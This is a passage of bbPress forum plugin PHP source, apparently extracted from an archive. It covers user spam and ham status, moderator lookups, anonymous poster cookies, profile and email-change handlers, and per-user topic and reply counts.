	// Assume user is not spam
	$is_spammer = false;

	// Get user data
	$user = get_userdata( $user_id );

	// No user found
	if ( empty( $user ) ) {
		$is_spammer = false;

	// Check if spam
	} elseif ( ! empty( $user->spam ) ) {
		$is_spammer = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_core_is_user_spammer', $is_spammer );
}

/**
 * Mark a users topics and replies as spam when the user is marked as spam
 *
 * @since 2.0.0 bbPress (r3405)
 *
 * @param int $user_id Optional. User ID to spam. Defaults to displayed user.
 *
 * @return bool If no user ID passed.
 */
function bbp_make_spam_user( $user_id = 0 ) {

	// Use displayed user if it's not yourself
	if ( empty( $user_id ) && bbp_is_single_user() && ! bbp_is_user_home() ) {
		$user_id = bbp_get_displayed_user_id();
	}

	// Bail if no user ID
	if ( empty( $user_id ) ) {
		return false;
	}

	// Bail if user ID is keymaster
	if ( bbp_is_user_keymaster( $user_id ) ) {
		return false;
	}

	// Arm the torpedos
	$bbp_db = bbp_db();

	// Get the blog IDs of the user to mark as spam
	$blogs = get_blogs_of_user( $user_id, true );

	// If user has no blogs, they are a guest on this site
	if ( empty( $blogs ) ) {
		$blogs[ $bbp_db->blogid ] = array();
	}

	// Get array of post types to mark as spam
	$post_types = array( bbp_get_topic_post_type(), bbp_get_reply_post_type() );
	$post_types = "'" . implode( "', '", $post_types ) . "'";

	// Get array of statuses to mark as spam
	$post_statuses = bbp_get_public_topic_statuses();
	$post_statuses = "'" . implode( "', '", $post_statuses ) . "'";

	// Loop through blogs and remove their posts
	foreach ( (array) array_keys( $blogs ) as $blog_id ) {

		// Switch to the site ID
		bbp_switch_to_site( $blog_id );

		// Get topics and replies
		$query = $bbp_db->prepare( "SELECT ID FROM {$bbp_db->posts} WHERE post_author = %d AND post_status IN ( {$post_statuses} ) AND post_type IN ( {$post_types} )", $user_id );
		$posts = $bbp_db->get_col( $query );

		// Loop through posts and spam them
		if ( ! empty( $posts ) ) {
			foreach ( $posts as $post_id ) {

				// The routines for topics ang replies are different, so use the
				// correct one based on the post type
				switch ( get_post_type( $post_id ) ) {

					case bbp_get_topic_post_type() :
						bbp_spam_topic( $post_id );
						break;

					case bbp_get_reply_post_type() :
						bbp_spam_reply( $post_id );
						break;
				}
			}
		}

		// Switch back to current site
		bbp_restore_current_site();
	}

	// Delete user options
	bbp_delete_user_options( $user_id );

	// Success
	return true;
}

/**
 * Mark a users topics and replies as spam when the user is marked as spam
 *
 * @since 2.0.0 bbPress (r3405)
 *
 * @param int $user_id Optional. User ID to unspam. Defaults to displayed user.
 *
 * @return bool If no user ID passed.
 */
function bbp_make_ham_user( $user_id = 0 ) {

	// Use displayed user if it's not yourself
	if ( empty( $user_id ) && bbp_is_single_user() && ! bbp_is_user_home() ) {
		$user_id = bbp_get_displayed_user_id();
	}

	// Bail if no user ID
	if ( empty( $user_id ) ) {
		return false;
	}

	// Bail if user ID is keymaster
	if ( bbp_is_user_keymaster( $user_id ) ) {
		return false;
	}

	// Arm the torpedos
	$bbp_db = bbp_db();

	// Get the blog IDs of the user to mark as spam
	$blogs = get_blogs_of_user( $user_id, true );

	// If user has no blogs, they are a guest on this site
	if ( empty( $blogs ) ) {
		$blogs[ $bbp_db->blogid ] = array();
	}

	// Get array of post types to mark as spam
	$post_types = array( bbp_get_topic_post_type(), bbp_get_reply_post_type() );
	$post_types = "'" . implode( "', '", $post_types ) . "'";

	// Get array of statuses to unmark as spam
	$post_statuses = array( bbp_get_spam_status_id() );
	$post_statuses = "'" . implode( "', '", $post_statuses ) . "'";

	// Loop through blogs and remove their posts
	foreach ( (array) array_keys( $blogs ) as $blog_id ) {

		// Switch to the site ID
		bbp_switch_to_site( $blog_id );

		// Get topics and replies
		$query = $bbp_db->prepare( "SELECT ID FROM {$bbp_db->posts} WHERE post_author = %d AND post_status IN ( {$post_statuses} ) AND post_type IN ( {$post_types} )", $user_id );
		$posts = $bbp_db->get_col( $query );

		// Loop through posts and spam them
		if ( ! empty( $posts ) ) {
			foreach ( $posts as $post_id ) {

				// The routines for topics ang replies are different, so use the
				// correct one based on the post type
				switch ( get_post_type( $post_id ) ) {

					case bbp_get_topic_post_type() :
						bbp_unspam_topic( $post_id );
						break;

					case bbp_get_reply_post_type() :
						bbp_unspam_reply( $post_id );
						break;
				}
			}
		}

		// Switch back to current site
		bbp_restore_current_site();
	}

	// Update topic & reply counts
	bbp_update_user_topic_count( $user_id, bbp_get_user_topic_count_raw( $user_id ) );
	bbp_update_user_reply_count( $user_id, bbp_get_user_reply_count_raw( $user_id ) );

	// Update last posted (to now)
	bbp_update_user_last_posted( $user_id );

	// Success
	return true;
}

/**
 * Checks if the user has been marked as deleted.
 *
 * @since 2.0.0 bbPress (r3355)
 *
 * @param int $user_id int The ID for the user.
 * @return bool True if deleted, False if not.
 */
function bbp_is_user_deleted( $user_id = 0 ) {

	// Default to current user
	if ( empty( $user_id ) && is_user_logged_in() ) {
		$user_id = bbp_get_current_user_id();
	}

	// No user to check
	if ( empty( $user_id ) ) {
		return false;
	}

	// Assume user is not deleted
	$is_deleted = false;

	// Get user data
	$user = get_userdata( $user_id );

	// No user found
	if ( empty( $user ) ) {
		$is_deleted = true;

	// Check if deleted
	} elseif ( ! empty( $user->deleted ) ) {
		$is_deleted = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_core_is_user_deleted', $is_deleted );
}

/**
 * Checks if user is active
 *
 * @since 2.0.0 bbPress (r3502)
 *
 * @param int $user_id The user ID to check
 * @return bool True if public, false if not
 */
function bbp_is_user_active( $user_id = 0 ) {

	// No user to check
	$user_id = bbp_get_user_id( $user_id, false, true );
	if ( empty( $user_id ) ) {
		return false;
	}

	// Check spam
	if ( bbp_is_user_spammer( $user_id ) ) {
		return false;
	}

	// Check deleted
	if ( bbp_is_user_deleted( $user_id ) ) {
		return false;
	}

	// Assume true if not spam or deleted
	return true;
}

/**
 * Checks if user is not active.
 *
 * @since 2.0.0 bbPress (r3502)
 *
 * @param int $user_id The user ID to check. Defaults to current user ID
 * @return bool True if inactive, false if active
 */
function bbp_is_user_inactive( $user_id = 0 ) {
	return ! bbp_is_user_active( $user_id );
}

/**
 * Checks if user is a keymaster
 *
 * @since 2.3.0 bbPress (r4783)
 *
 * @param int $user_id
 * @return bool True if keymaster, false if not
 */
function bbp_is_user_keymaster( $user_id = 0 ) {
	$_user_id = bbp_get_user_id( $user_id, false, true );
	$retval   = user_can( $_user_id, 'keep_gate' );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_user_keymaster', $retval, $_user_id, $user_id );
}

/**
 * Does a user have a profile for the current site
 *
 * @since 2.2.0 bbPress (r4362)
 *
 * @param int $user_id User ID to check
 *
 * @return bool Whether or not the user has a profile on this blog_id.
 */
function bbp_user_has_profile( $user_id = 0 ) {

	// Assume every user has a profile
	$retval  = true;

	// Validate user ID, default to displayed or current user
	$user_id = bbp_get_user_id( $user_id, true, true );

	// Try to get this user's data
	$user    = get_userdata( $user_id );

	// No user found, return false
	if ( empty( $user ) ) {
		$retval = false;

	// User is inactive, and current user is not a keymaster
	} elseif ( ! bbp_is_user_keymaster() && bbp_is_user_inactive( $user->ID ) ) {
		$retval = false;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_show_user_profile', $retval, $user_id );
}

/** Moderators ****************************************************************/

/**
 * Add a moderator to an object
 *
 * @since 2.6.0 bbPress (r6056)
 *
 * @param int    $object_id   Traditionally a post ID
 * @param int    $user_id     User ID
 * @param string $object_type Type of meta (post,term,user,comment)
 *
 * @return bool
 */
function bbp_add_moderator( $object_id = 0, $user_id = 0, $object_type = 'post' ) {
	return bbp_add_user_to_object( $object_id, $user_id, '_bbp_moderator_id', $object_type );
}

/**
 * Remove a moderator user ID from an object
 *
 * @since 2.6.0 bbPress (r6056)
 *
 * @param int    $object_id   Traditionally a post ID
 * @param int    $user_id     User ID
 * @param string $object_type Type of meta (post,term,user,comment)
 *
 * @return bool
 */
function bbp_remove_moderator( $object_id = 0, $user_id = 0, $object_type = 'post' ) {
	return bbp_remove_user_from_object( $object_id, $user_id, '_bbp_moderator_id', $object_type );
}

/**
 * Get user IDs of moderators for an object
 *
 * @since 2.6.0 bbPress (r6056)
 *
 * @param int    $object_id   Traditionally a post ID
 * @param string $object_type Type of meta (post,term,user,comment)
 *
 * @return array
 */
function bbp_get_moderator_ids( $object_id = 0, $object_type = 'post' ) {
	return bbp_get_users_for_object( $object_id, '_bbp_moderator_id', $object_type );
}

/**
 * Get moderators for a specific object ID. Will return global moderators when
 * object ID is empty.
 *
 * @since 2.6.0 bbPress (r6056)
 *
 * @param int    $object_id   Traditionally a post ID
 * @param string $object_type Type of meta (post,term,user,comment)
 *
 * @return array
 */
function bbp_get_moderators( $object_id = 0, $object_type = 'post' ) {

	// Get global moderators
	if ( empty( $object_id ) ) {
		$users = get_users( array(
			'role__in' => bbp_get_moderator_role(),
		) );

	// Get object moderators
	} else {
		$users = get_users( array(
			'include' => bbp_get_moderator_ids( $object_id, $object_type ),
		) );
	}

	// Filter & return
	return (array) apply_filters( 'bbp_get_moderators', $users, $object_id, $object_type );
}
includes/users/functions.php000066600000067136151771460310012262 0ustar00<?php

/**
 * bbPress User Functions
 *
 * @package bbPress
 * @subpackage Functions
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Redirect back to $url when attempting to use the login page
 *
 * @since 2.0.0 bbPress (r2815)
 *
 * @param string $url The url
 * @param string $raw_url Raw url
 * @param object $user User object
 */
function bbp_redirect_login( $url = '', $raw_url = '', $user = '' ) {

	// Raw redirect_to was passed, so use it
	if ( ! empty( $raw_url ) ) {
		$url = $raw_url;

	// $url was manually set in wp-login.php to redirect to admin
	} elseif ( admin_url() === $url ) {
		$url = home_url();

	// $url is empty
	} elseif ( empty( $url ) ) {
		$url = home_url();
	}

	// Filter & return
	return apply_filters( 'bbp_redirect_login', $url, $raw_url, $user );
}

/**
 * Is an anonymous topic/reply being made?
 *
 * @since 2.0.0 bbPress (r2688)
 *
 * @return bool True if anonymous is allowed and user is not logged in, false if
 *               anonymous is not allowed or user is logged in
 */
function bbp_is_anonymous() {
	$is_anonymous = ( ! is_user_logged_in() && bbp_allow_anonymous() );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_anonymous', $is_anonymous );
}

/**
 * Echoes the values for current poster (uses WP comment cookies)
 *
 * @since 2.0.0 bbPress (r2734)
 *
 * @param string $key Which value to echo?
 */
function bbp_current_anonymous_user_data( $key = '' ) {
	echo esc_attr( bbp_get_current_anonymous_user_data( $key ) );
}

	/**
	 * Get the cookies for current poster (uses WP comment cookies).
	 *
	 * @since 2.0.0 bbPress (r2734)
	 *
	 * @param string $key Optional. Which value to get? If not given, then
	 *                     an array is returned.
	 * @return string|array Cookie(s) for current poster
	 */
	function bbp_get_current_anonymous_user_data( $key = '' ) {

		// Array of allowed cookie names
		$cookie_names = array(
			'name'  => 'comment_author',
			'email' => 'comment_author_email',
			'url'   => 'comment_author_url',

			// Here just for the sake of them, use the above ones
			'comment_author'       => 'comment_author',
			'comment_author_email' => 'comment_author_email',
			'comment_author_url'   => 'comment_author_url',
		);

		// Get the current poster's info from the cookies
		$bbp_current_poster = wp_get_current_commenter();

		// Sanitize the cookie key being retrieved
		$key = sanitize_key( $key );

		// Maybe return a specific key
		if ( ! empty( $key ) && in_array( $key, array_keys( $cookie_names ), true ) ) {
			return $bbp_current_poster[ $cookie_names[ $key ] ];
		}

		// Return all keys
		return $bbp_current_poster;
	}

/**
 * Set the cookies for current poster (uses WP comment cookies)
 *
 * @since 2.0.0 bbPress (r2734)
 *
 * @param array $anonymous_data Optional - if it's an anonymous post. Do not
 *                              supply if supplying $author_id. Should be
 *                              sanitized (see {@link bbp_filter_anonymous_post_data()}
 */
function bbp_set_current_anonymous_user_data( $anonymous_data = array() ) {

	// Bail if empty or not an array
	if ( empty( $anonymous_data ) || ! is_array( $anonymous_data ) ) {
		return;
	}

	// Setup cookie expiration
	$lifetime = (int) apply_filters( 'comment_cookie_lifetime', 30000000 );
	$expiry   = time() + $lifetime;
	$secure   = ( 'https' === parse_url( home_url(), PHP_URL_SCHEME ) );

	// Set the cookies
	setcookie( 'comment_author_'       . COOKIEHASH, $anonymous_data['bbp_anonymous_name'],    $expiry, COOKIEPATH, COOKIE_DOMAIN, $secure );
	setcookie( 'comment_author_email_' . COOKIEHASH, $anonymous_data['bbp_anonymous_email'],   $expiry, COOKIEPATH, COOKIE_DOMAIN, $secure );
	setcookie( 'comment_author_url_'   . COOKIEHASH, $anonymous_data['bbp_anonymous_website'], $expiry, COOKIEPATH, COOKIE_DOMAIN, $secure );
}

/**
 * Get the poster IP address
 *
 * @since 2.0.0 bbPress (r3120)
 * @since 2.6.0 bbPress (r5609) Added `empty()` check for unit tests
 *
 * @return string
 */
function bbp_current_author_ip() {

	// Check for remote address
	$remote_address = ! empty( $_SERVER['REMOTE_ADDR'] )
		? wp_unslash( $_SERVER['REMOTE_ADDR'] )
		: '127.0.0.1';

	// Remove any unsavory bits
	$retval = preg_replace( '/[^0-9a-fA-F:., ]/', '', $remote_address );

	// Filter & return
	return apply_filters( 'bbp_current_author_ip', $retval, $remote_address );
}

/**
 * Get the poster user agent
 *
 * @since 2.0.0 bbPress (r3446)
 *
 * @return string
 */
function bbp_current_author_ua() {
	$retval = ! empty( $_SERVER['HTTP_USER_AGENT'] )
		? mb_substr( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ), 0, 254 )
		: '';

	// Filter & return
	return apply_filters( 'bbp_current_author_ua', $retval );
}

/** Edit **********************************************************************/

/**
 * Handles the front end user editing from POST requests
 *
 * @since 2.0.0 bbPress (r2790)
 *
 * @param string $action The requested action to compare this function to
 */
function bbp_edit_user_handler( $action = '' ) {

	// Bail if action is not `bbp-update-user`
	if ( 'bbp-update-user' !== $action ) {
		return;
	}

	// Bail if in wp-admin
	if ( is_admin() ) {
		return;
	}

	// Get the displayed user ID
	$user_id = bbp_get_displayed_user_id();

	// Nonce check
	if ( ! bbp_verify_nonce_request( 'update-user_' . $user_id ) ) {
		bbp_add_error( 'bbp_update_user_nonce', __( '<strong>Error</strong>: Are you sure you wanted to do that?', 'bbpress' ) );
		return;
	}

	// Cap check
	if ( ! current_user_can( 'edit_user', $user_id ) ) {
		bbp_add_error( 'bbp_update_user_capability', __( '<strong>Error</strong>: Are you sure you wanted to do that?', 'bbpress' ) );
		return;
	}

	// Empty email check
	if ( empty( $_POST['email'] ) ) {
		bbp_add_error( 'bbp_user_email_empty', __( '<strong>Error</strong>: That is not a valid email address.', 'bbpress' ), array( 'form-field' => 'email' ) );
		return;
	}

	// Get the users current email address to use for comparisons
	$user_email = bbp_get_displayed_user_field( 'user_email', 'raw' );

	// Bail if no email change
	if ( $user_email !== $_POST['email'] ) {

		// Check that new email address is valid
		if ( ! is_email( $_POST['email'] ) ) {
			bbp_add_error( 'bbp_user_email_invalid', __( '<strong>Error</strong>: That is not a valid email address.', 'bbpress' ), array( 'form-field' => 'email' ) );
			return;
		}

		// Check if email address is already in use
		if ( email_exists( $_POST['email'] ) ) {
			bbp_add_error( 'bbp_user_email_taken', __( '<strong>Error</strong>: That email address is already in use.', 'bbpress' ), array( 'form-field' => 'email' ) );
			return;
		}

		// Update the option
		$option = array(
			'hash'     => md5( $_POST['email'] . time() . wp_rand() ),
			'newemail' => $_POST['email'],
		);
		update_user_meta( $user_id, '_new_email', $option );

		// Attempt to notify the user of email address change
		bbp_edit_user_email_send_notification( $user_id, $option );

		// Set the POST email variable back to the user's email address
		// so `edit_user()` does not attempt to update it. This is not ideal,
		// but it's also what send_confirmation_on_profile_email() does.
		$_POST['email'] = $user_email;
	}

	// Do action based on who's profile you're editing
	$edit_action = bbp_is_user_home_edit()
		? 'personal_options_update'
		: 'edit_user_profile_update';

	do_action( $edit_action, $user_id );

	// Prevent edit_user() from wiping out the user's Toolbar on front setting
	if ( ! isset( $_POST['admin_bar_front'] ) && _get_admin_bar_pref( 'front', $user_id ) ) {
		$_POST['admin_bar_front'] = 1;
	}

	// Bail if errors already exist
	if ( bbp_has_errors() ) {
		return;
	}

	// Handle user edit
	$edit_user = edit_user( $user_id );

	// Error(s) editng the user, so copy them into the global
	if ( is_wp_error( $edit_user ) ) {
		bbpress()->errors = $edit_user;

	// Successful edit to redirect
	} elseif ( is_integer( $edit_user ) ) {

		// Maybe update super admin ability
		if ( is_multisite() && ! bbp_is_user_home_edit() && current_user_can( 'manage_network_options' ) && is_super_admin() ) {
			empty( $_POST['super_admin'] )
				? revoke_super_admin( $edit_user )
				: grant_super_admin( $edit_user );
		}

		// Redirect
		$args     = array( 'updated' => 'true' );
		$user_url = bbp_get_user_profile_edit_url( $edit_user );
		$redirect = add_query_arg( $args, $user_url );

		bbp_redirect( $redirect );
	}
}

/**
 * Handles user email address updating from GET requests
 *
 * @since 2.6.0 bbPress (r5660)
 *
 * @param string $action
 */
function bbp_user_email_change_handler( $action = '' ) {

	// Bail if action is not `bbp-update-user-email`
	if ( 'bbp-update-user-email' !== $action ) {
		return;
	}

	// Bail if not on users own profile
	if ( ! bbp_is_user_home_edit() ) {
		return;
	}

	// Bail if not attempting to modify user email address
	if ( empty( $_GET['newuseremail'] ) && empty( $_GET['dismiss'] ) ) {
		return;
	}

	// Get the displayed user ID & option key
	$user_id     = bbp_get_displayed_user_id();
	$key         = '_new_email';
	$redirect_to = bbp_get_user_profile_edit_url( $user_id );

	// Execute confirmed email change.
	if ( ! empty( $_GET['newuseremail'] ) ) {

		// Check for email address change option
		$new_email = get_user_meta( $user_id, $key, true );

		// Redirect if *no* email address change exists
		if ( false === $new_email ) {
			bbp_redirect( $redirect_to );
		}

		// Cleanup & redirect if *invalid* email address change exists
		if ( empty( $new_email['hash'] ) || empty( $new_email['newemail'] ) ) {
			delete_user_meta( $user_id, $key );

			bbp_redirect( $redirect_to );
		}

		// Compare hashes, and update user if hashes match
		if ( hash_equals( $new_email['hash'], $_GET['newuseremail'] ) ) {

			// Does another user have this email address already?
			if ( email_exists( $new_email['newemail'] ) ) {
				delete_user_meta( $user_id, $key );

				bbp_add_error( 'bbp_user_email_taken', __( '<strong>Error</strong>: That email address is already in use.', 'bbpress' ), array( 'form-field' => 'email' ) );

			// Email address is good to change to
			} else {

				// Create a stdClass (for easy call to wp_update_user())
				$user             = new stdClass();
				$user->ID         = $user_id;
				$user->user_email = esc_html( trim( $new_email['newemail'] ) );

				// Attempt to update user email
				$update_user = wp_update_user( $user );

				// Error(s) editing the user, so copy them into the global
				if ( is_wp_error( $update_user ) ) {
					bbpress()->errors = $update_user;

				// All done, so redirect and show the updated message
				} else {

					// Update signups table, if signups table & entry exists
					// For Multisite & BuddyPress compatibility
					$bbp_db = bbp_db();
					if ( ! empty( $bbp_db->signups ) && $bbp_db->get_var( $bbp_db->prepare( "SELECT user_login FROM {$bbp_db->signups} WHERE user_login = %s", bbp_get_displayed_user_field( 'user_login', 'raw' ) ) ) ) {
						$bbp_db->query( $bbp_db->prepare( "UPDATE {$bbp_db->signups} SET user_email = %s WHERE user_login = %s", $user->user_email, bbp_get_displayed_user_field( 'user_login', 'raw' ) ) );
					}

					delete_user_meta( $user_id, $key );

					bbp_redirect( add_query_arg( array( 'updated' => 'true' ), $redirect_to ) );
				}
			}
		}

	// Delete new email address from user options
	} elseif ( ! empty( $_GET['dismiss'] ) && ( "{$user_id}{$key}" === $_GET['dismiss'] ) ) {
		if ( ! bbp_verify_nonce_request( "dismiss-{$user_id}{$key}" ) ) {
			bbp_add_error( 'bbp_dismiss_new_email_nonce', __( '<strong>Error</strong>: Are you sure you wanted to do that?', 'bbpress' ) );
			return;
		}

		delete_user_meta( $user_id, $key );
		bbp_redirect( $redirect_to );
	}
}

/**
 * Sends an email when an email address change occurs on POST requests
 *
 * @since 2.6.0 bbPress (r5660)
 *
 * @see send_confirmation_on_profile_email()
 */
function bbp_edit_user_email_send_notification( $user_id = 0, $args = array() ) {

	// Parse args
	$r = bbp_parse_args( $args, array(
		'hash'     => '',
		'newemail' => '',
	) );

	// Bail if any relevant parameters are empty
	if ( empty( $user_id ) || empty( $r['hash'] ) || empty( $r['newemail'] ) ) {
		bbp_add_error( 'bbp_user_email_invalid_hash', __( '<strong>Error</strong>: An error occurred while updating your email address.', 'bbpress' ), array( 'form-field' => 'email' ) );
		return;
	}

	// Build the nonced URL to dismiss the pending change
	$user_login  = bbp_get_displayed_user_field( 'user_login', 'raw' );
	$user_url    = bbp_get_user_profile_edit_url( $user_id );
	$confirm_url = add_query_arg( array(
		'action'       => 'bbp-update-user-email',
		'newuseremail' => $r['hash']
	), $user_url );

	$email_text = __( '%1$s

Someone requested a change to the email address on your account.

Please click the following link to confirm this change:
%2$s

If you did not request this, you can safely ignore and delete this notification.

This email was sent to: %3$s

Regards,
The %4$s Team
%5$s', 'bbpress' );

	/**
	 * Filter the email text sent when a user changes emails.
	 *
	 * The following strings have a special meaning and will get replaced dynamically:
	 *
	 * %1$s - The current user's username
	 * %2$s - The link to click on to confirm the email change
	 * %3$s - The new email
	 * %4$s - The name of the site
	 * %5$s - The URL to the site
	 *
	 * @param string $email_text Text in the email.
	 * @param string $r          New user email that the current user has changed to.
	 */
	$content = apply_filters( 'bbp_user_email_update_content', $email_text, $r );

	// Build the email message
	$message = sprintf( $content, $user_login, $confirm_url, $r['newemail'], get_site_option( 'site_name' ), network_home_url() );

	// Build the email subject
	$subject = sprintf( __( '[%s] New Email Address', 'bbpress' ), wp_specialchars_decode( get_option( 'blogname' ) ) );

	// Send the email
	wp_mail( $r['newemail'], $subject, $message );
}

/**
 * Conditionally hook the core WordPress output actions to the end of the
 * default user's edit profile template
 *
 * This allows clever plugin authors to conditionally unhook the WordPress core
 * output actions if they don't want any unexpected junk to appear there, and
 * also avoids needing to pollute the templates with additional logic and actions.
 *
 * @since 2.2.0 bbPress (r4273)
 */
function bbp_user_edit_after() {
	$action = bbp_is_user_home_edit() ? 'show_user_profile' : 'edit_user_profile';

	do_action( $action, get_userdata( bbp_get_displayed_user_id() ) );
}

/** User Queries **************************************************************/

/**
 * Get the topics that a user created
 *
 * @since 2.0.0 bbPress (r2660)
 * @since 2.6.0 bbPress (r6618) Signature changed to accept an array of arguments
 *
 * @param array $args    Optional. Arguments to pass into bbp_has_topics()
 *
 * @return bool True if user has started topics, otherwise false
 */
function bbp_get_user_topics_started( $args = array() ) {

	// Backwards compat for pre-2.6.0
	if ( is_numeric( $args ) ) {
		$args = array(
			'author' => bbp_get_user_id( $args, false, false )
		);
	}

	// Default arguments
	$defaults = array(
		'author' => bbp_get_displayed_user_id()
	);

	// Parse arguments
	$r = bbp_parse_args( $args, $defaults, 'get_user_topics_started' );

	// Get the topics
	$query   = bbp_has_topics( $r );
	$user_id = $r['author'];

	// Filter & return
	return apply_filters( 'bbp_get_user_topics_started', $query, $user_id, $r, $args );
}

/**
 * Get the replies that a user created
 *
 * @since 2.2.0 bbPress (r4225)
 * @since 2.6.0 bbPress (r6618) Signature changed to accept an array of arguments
 *
 * @param array $args Optional. Arguments to pass into bbp_has_replies()
 *
 * @return bool True if user has created replies, otherwise false
 */
function bbp_get_user_replies_created( $args = array() ) {

	// Backwards compat for pre-2.6.0
	if ( is_numeric( $args ) ) {
		$args = array(
			'author' => bbp_get_user_id( $args, false, false ),
			'post_type' => bbp_get_reply_post_type(),
			'order'     => 'DESC'
		);
	}

	// Default arguments
	$defaults = array(
		'author'    => bbp_get_displayed_user_id(),
		'post_type' => bbp_get_reply_post_type(),
		'order'     => 'DESC'
	);

	// Parse arguments
	$r = bbp_parse_args( $args, $defaults, 'get_user_replies_created' );

	// Get the replies
	$query   = bbp_has_replies( $r );
	$user_id = $r['author'];

	// Filter & return
	return apply_filters( 'bbp_get_user_replies_created', $query, $user_id, $r, $args );
}

/**
 * Get user IDs from nicenames
 *
 * This function is primarily used when saving object moderators
 *
 * @since 2.6.0 bbPress
 *
 * @param mixed $user_nicenames
 * @return array
 */
function bbp_get_user_ids_from_nicenames( $user_nicenames = array() ) {

	// Default value
	$retval = array();

	// Only query if nicenames
	if ( ! empty( $user_nicenames ) ) {

		// Maybe explode by comma
		$user_nicenames = ( is_string( $user_nicenames ) && strstr( $user_nicenames, ',' ) )
			? explode( ',', $user_nicenames )
			: (array) $user_nicenames;

		// Sanitize each nicename in the array
		$user_nicenames = array_map( 'sanitize_title', $user_nicenames );

		// Get users
		$users = get_users( array(
			'nicename__in' => $user_nicenames
		) );

		// Pluck or empty
		if ( ! empty( $users ) ) {
			$retval = wp_list_pluck( $users, 'ID' );
		}
	}

	// Filter & return
	return (array) apply_filters( 'bbp_get_user_ids_from_nicenames', $retval, $user_nicenames );
}

/**
 * Get user nicenames from IDs
 *
 * This function is primarily used when saving object moderators
 *
 * @since 2.6.0 bbPress
 *
 * @param mixed $user_ids
 * @return array
 */
function bbp_get_user_nicenames_from_ids( $user_ids = array() ) {

	// Default value
	$retval = array();

	// Only query if nicenames
	if ( ! empty( $user_ids ) ) {

		// Get users
		$users = get_users( array(
			'include' => $user_ids
		) );

		// Pluck or empty
		if ( ! empty( $users ) ) {
			$retval = wp_list_pluck( $users, 'user_nicename' );
		}
	}

	// Filter & return
	return (array) apply_filters( 'bbp_get_user_nicenames_from_ids', $retval, $user_ids );
}

/** Post Counts ***************************************************************/

/**
 * Return the raw database count of topics by a user
 *
 * @since 2.1.0 bbPress (r3633)
 *
 * @param int $user_id User ID to get count for
 *
 * @return int Raw DB count of topics
 */
function bbp_get_user_topic_count_raw( $user_id = 0 ) {
	$user_id = bbp_get_user_id( $user_id );
	$bbp_db  = bbp_db();
	$statii  = "'" . implode( "', '", bbp_get_public_topic_statuses() ) . "'";
	$sql     = "SELECT COUNT(*)
			FROM {$bbp_db->posts}
			WHERE post_author = %d
				AND post_type = %s
				AND post_status IN ({$statii})";

	$query   = $bbp_db->prepare( $sql, $user_id, bbp_get_topic_post_type() );
	$count   = (int) $bbp_db->get_var( $query );

	// Filter & return
	return (int) apply_filters( 'bbp_get_user_topic_count_raw', $count, $user_id );
}

/**
 * Return the raw database count of replies by a user
 *
 * @since 2.1.0 bbPress (r3633)
 *
 * @param int $user_id User ID to get count for
 *
 * @return int Raw DB count of replies
 */
function bbp_get_user_reply_count_raw( $user_id = 0 ) {
	$user_id = bbp_get_user_id( $user_id );
	$bbp_db  = bbp_db();
	$statii  = "'" . implode( "', '", bbp_get_public_reply_statuses() ) . "'";
	$sql     = "SELECT COUNT(*)
			FROM {$bbp_db->posts}
			WHERE post_author = %d
				AND post_type = %s
				AND post_status IN ({$statii})";

	$query   = $bbp_db->prepare( $sql, $user_id, bbp_get_reply_post_type() );
	$count   = (int) $bbp_db->get_var( $query );

	// Filter & return
	return (int) apply_filters( 'bbp_get_user_reply_count_raw', $count, $user_id );
}

/**
 * Bump the topic count for a user by a certain amount.
 *
 * @since 2.6.0 bbPress (r5309)
 *
 * @param int $user_id
 * @param int $difference
 */
function bbp_bump_user_topic_count( $user_id = 0, $difference = 1 ) {

	// Bail if no bump
	if ( empty( $difference ) ) {
		return false;
	}

	// Validate user ID
	$user_id = bbp_get_user_id( $user_id );
	if ( empty( $user_id ) ) {
		return false;
	}

	// Check meta for count, or query directly if not found
	$count = bbp_get_user_topic_count( $user_id, true );
	if ( empty( $count ) ) {
		$count = bbp_get_user_topic_count_raw( $user_id );
	}

	$difference       = (int) $difference;
	$user_topic_count = (int) ( $count + $difference );

	// Add them up and filter them
	$new_count = (int) apply_filters( 'bbp_bump_user_topic_count', $user_topic_count, $user_id, $difference, $count );

	return bbp_update_user_topic_count( $user_id, $new_count );
}

/**
 * Bump the reply count for a user by a certain amount.
 *
 * @since 2.6.0 bbPress (r5309)
 *
 * @param int $user_id
 * @param int $difference
 */
function bbp_bump_user_reply_count( $user_id = 0, $difference = 1 ) {

	// Bail if no bump
	if ( empty( $difference ) ) {
		return false;
	}

	// Validate user ID
	$user_id = bbp_get_user_id( $user_id );
	if ( empty( $user_id ) ) {
		return false;
	}

	// Check meta for count, or query directly if not found
	$count = bbp_get_user_reply_count( $user_id, true );
	if ( empty( $count ) ) {
		$count = bbp_get_user_reply_count_raw( $user_id );
	}

	$difference       = (int) $difference;
	$user_reply_count = (int) ( $count + $difference );

	// Add them up and filter them
	$new_count = (int) apply_filters( 'bbp_bump_user_reply_count', $user_reply_count, $user_id, $difference, $count );

	return bbp_update_user_reply_count( $user_id, $new_count );
}

/**
 * Helper function used to increase (by one) the count of topics for a user when
 * a topic is published.
 *
 * @since 2.6.0 bbPress (r5309)
 *
 * @access
 * @param $topic_id
 * @param $forum_id
 * @param $anonymous_data
 * @param $topic_author
 */
function bbp_increase_user_topic_count( $topic_id = 0 ) {
	$user_id = bbp_get_topic_author_id( $topic_id );
	return bbp_bump_user_topic_count( $user_id, 1 );
}

/**
 * Helper function used to increase (by one) the count of replies for a user when
 * a reply is published.
 *
 * This is a helper function, hooked to `bbp_new_reply`
 *
 * @since 2.6.0 bbPress (r5309)
 *
 * @param $topic_id
 * @param $forum_id
 * @param $anonymous_data
 * @param $topic_author
 */
function bbp_increase_user_reply_count( $reply_id = 0 ) {
	$user_id = bbp_get_reply_author_id( $reply_id );
	return bbp_bump_user_reply_count( $user_id, 1 );
}

/**
 * Helper function used to decrease (by one) the count of topics for a user when
 * a topic is unpublished.
 *
 * @since 2.6.0 bbPress (r5309)
 *
 * @param $topic_id
 */
function bbp_decrease_user_topic_count( $topic_id = 0 ) {
	$user_id = bbp_get_topic_author_id( $topic_id );
	return bbp_bump_user_topic_count( $user_id, -1 );
}

/**
 * Helper function used to increase (by one) the count of replies for a user when
 * a topic is unpublished.
 *
 * @since 2.6.0 bbPress (r5309)
 *
 * @param $reply_id
 */
function bbp_decrease_user_reply_count( $reply_id = 0 ) {
